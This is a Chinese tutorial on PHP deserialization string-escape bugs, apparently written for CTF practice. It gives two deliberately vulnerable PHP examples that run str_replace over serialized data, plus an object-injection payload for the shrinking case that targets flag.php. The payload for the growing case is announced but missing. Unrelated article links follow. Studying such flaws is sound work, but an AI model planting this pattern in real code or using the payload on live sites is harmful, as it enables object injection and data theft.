PHP反序列化7(字符串逃逸)

考点7:字符串逃逸

<aside> 💡

字符串减少

</aside>

复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '123';
    public function __construct($arga,$argc){
            $this->v1 = $arga;
            $this->v2 = $argc;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

逃逸减少的代码通过 str_replace()函数将输入字符串中的 'system()' 替换成了 "" 空字符。

通过这个特性构造payload:

注意!!! 一定有两个可控制参数,前者进行字符减少,后者进行payload参数的注入。

复制代码
a=\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

<aside> 💡

字符串增多

</aside>

复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $v1 = 'ls';
    public $v2 = '123';
    public function __construct($arga,$argc){
        $this->v1 = $arga;
        $this->v2 = $argc;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data =  serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);
var_dump(unserialize($data));

注意!!! 只有一个可控制参数进行payload参数的注入,使得语句提前结束。

通过分析代码,后台将我们输入的字符串中的 'ls' 全部都替换为了 'pwd'。

我们可以利用这个漏洞构造以下payload:

<aside> 💡

总结

</aside>

字符串增多跟减少最大的差异在于:1.可控制参数的不同 。2.无效代码走向。

1.可变参数的不同 。

减少:两个可控制参数。

增多:一个可控制参数。

2.无效代码走向。

减少:两个可控制参数之前,序列化产生的功能代码被吃掉,成为第一个参数的值,逃逸成功。

增多:一个可控制参数后,带入构造功能性代码,使得序列化代码提前结束,后面自己产生的序 列化代码无效。

相关推荐
程序大视界4 小时前
【Python系列课程】Python入门教程
开发语言·人工智能·python
morning_judger4 小时前
Agent系列(二)-记忆系统的设计
开发语言·python·机器学习
方也_arkling4 小时前
【Java-Day02】语法篇:变量/数据类型/标识符/运算符/类型转换
java·开发语言
RSTJ_16254 小时前
PYTHON+AI LLM DAY SIXTY-ONE
开发语言·python
zfoo-framework4 小时前
理解kotlin limitedParallelism(1)与Actor模型
android·开发语言·kotlin
.千余4 小时前
【C++】C++类与对象3:const成员函数与取地址运算符重载,权限管理的艺术
开发语言·c++
影寂ldy4 小时前
C# 类和对象
开发语言·c#
丷丩4 小时前
MapLibre GL JS第25课:添加栅格瓦片源
开发语言·javascript·gis·mapbox·maplibre gl js
朔北之忘 Clancy4 小时前
2026 年 3 月青少年软编等考 C 语言二级真题解析
c语言·开发语言·c++·学习·青少年编程·题解·考级
云云只是个程序马喽4 小时前
海外短剧系统开发_云微传媒:多语言短剧平台定制与变现解决方案
java·php